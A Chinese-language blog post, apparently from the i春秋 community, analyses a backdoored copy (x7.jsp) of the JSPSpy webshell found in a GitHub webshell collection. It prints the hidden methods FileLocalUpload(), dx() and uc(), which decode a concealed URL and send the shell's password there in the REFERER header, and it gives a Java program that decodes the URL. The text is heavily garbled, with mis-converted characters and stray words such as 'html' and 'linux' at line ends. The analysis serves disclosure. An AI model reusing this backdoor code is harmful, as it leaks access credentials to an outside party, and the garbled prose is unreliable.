本文做者i春秋做家——非主流html
昨天晚上突發奇想的想去看看github上面tennc的webshell收集項目中的shell有沒有漏洞,好比未受權啊啥的,結果找半天都沒找到。。。可是機緣巧合下,竟然給我找到了一個後門狗。java
存在後門的webshell地址linux
follow megit
咱們咋一看這不就是jspspy嘛github
年輕人不要急咱們先把整個項目download下來而後再好好分析看看經過文件大小比較x7.jsp和下面的xia.jsp發現x7.jsp比xia.jsp多了2kb已知xia.jsp也是一個版本的jspspy。web
可是當咱們分別打開x7.jsp和xia.jsp時試圖想找到是哪裏多出來2kb時發現有點不切實際做爲一個java的初學者咱們彷佛並無那麼大的本事去通讀jspspy的各個功能模塊的代碼。因而乎咱們能夠經過windows自帶的命令去進行文本內容比較(emmmm,相似於linux下的diff命令)shell
利用管道符號將兩個jsp不一樣的地方重定向輸出至txt文檔中。windows
打開txt咱們便開始分析很忽然就發現有一個問題以下圖app
請注意txt文檔的23行的代碼x7.jsp中又定義了一個變量sxm值就是PW的值。jsp
那咱們開始着重分析一下x7.jsp中新定義的這個sxm變量是拿來幹什麼的吧。
接着用編輯器直接ctrl+f在當前文件中查找sxm
直接轉向854行
發現有三個新的方法(就是C語言裏面的函數)分別是uc()、dx()和FileLocalUpload()依次去定位查看這三個方法的代碼塊。
public static String FileLocalUpload(String reqUrl,String fckal,String recvEncoding) { HttpURLConnection url_con = null; String responseContent = null; try { URL url = new URL(reqUrl); url_con = (HttpURLConnection) url.openConnection(); url_con.setRequestMethod("POST"); url_con.setRequestProperty("REFERER", ""+fckal+""); System.setProperty("sun.net.client.defaultConnectTimeout", String.valueOf(connectTimeOut)); System.setProperty("sun.net.client.defaultReadTimeout", String.valueOf(readTimeOut)); url_con.setDoOutput(true); url_con.getOutputStream().flush(); url_con.getOutputStream().close(); InputStream in = url_con.getInputStream(); BufferedReader rd = new BufferedReader(new InputStreamReader(in,recvEncoding)); String tempLine = rd.readLine(); StringBuffer tempStr = new StringBuffer(); String crlf=System.getProperty("line.separator"); while (tempLine != null) { tempStr.append(tempLine); tempStr.append(crlf); tempLine = rd.readLine(); } responseContent = tempStr.toString(); rd.close(); in.close(); } catch (IOException e) { } finally { if (url_con != null) { url_con.disconnect(); } } return responseContent; }
dx()方法
public static String SysInfo="=?./..//:"; public static String dx() { String s = new String(); for (int i = SysInfo.length() - 1; i >= 0; i--) { s += SysInfo.charAt(i); } return s; }
uc()方法
public static String uc(String str) { String c="\n\r"; long d=127, f=11, j=12, h=14, m=31, r=83, k=1, n=8, s=114, u=-5, v=5,a=0; StringBuffer sb = new StringBuffer(); char[] ch = str.toCharArray(); for (int i = 0; i < ch.length; i++) { a = (int)ch[i]; if(a==d) a=13; if(a==f) a=10; if(a==j) a=34; if((a>=h) && (a<=m)) a=a+r; if((a>=k) && (a<=n)) a=a+s; if((a>=53) && (a<=57)) a=a+u; if((a>=48) && (a<=52)) a=a+v; sb.append((char)a); } return sb.toString(); }
怎麼辦看不懂啊。
不要慌~~ 看不懂沒關係咱們能夠直接把方法拿過來再處理一次只不過我不用FileLocalUpload()方法去處理我直接把sxm變量和uc()、dx()執行以後print輸出就行。因此本身寫寫代碼
import java.io.*; import java.util.*; class x7 { public static void main(String[] args) { String PW = "ttttt"; String sxm=PW; System.out.println(uc(dx())+sxm); } public static String dx() { String s = new String(); String SysInfo="=?./..//:"; for (int i = SysInfo.length() - 1; i >= 0; i--) { s += SysInfo.charAt(i); } return s; } public static String uc(String str) { String c="\n\r"; long d=127, f=11, j=12, h=14, m=31, r=83, k=1, n=8, s=114, u=-5, v=5,a=0; StringBuffer sb = new StringBuffer(); char[] ch = str.toCharArray(); for (int i = 0; i < ch.length; i++) { a = (int)ch[i]; if(a==d) a=13; if(a==f) a=10; if(a==j) a=34; if((a>=h) && (a<=m)) a=a+r; if((a>=k) && (a<=n)) a=a+s; if((a>=53) && (a<=57)) a=a+u; if((a>=48) && (a<=52)) a=a+v; sb.append((char)a); } return sb.toString(); } }
寫完調試一下而後javac編譯一下發現不報錯就行。
接着執行一次看看
哇狗比
寫在最後
能不能像個黑客同樣不要處處要東西除非你想作那個被大魚吃的小魚。
>>>>>>黑客入門必備技能 帶你入坑和逗比表哥們一塊兒聊聊黑客的事兒他們說高精尖的技術比農藥都好玩